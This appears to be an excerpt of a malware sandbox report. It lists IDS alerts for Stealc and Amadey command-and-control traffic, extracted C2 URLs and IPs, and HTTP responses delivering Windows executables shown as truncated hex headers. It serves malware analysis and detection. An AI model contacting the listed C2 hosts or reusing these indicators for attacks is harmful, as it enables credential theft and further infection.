Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50081 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 20:05:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
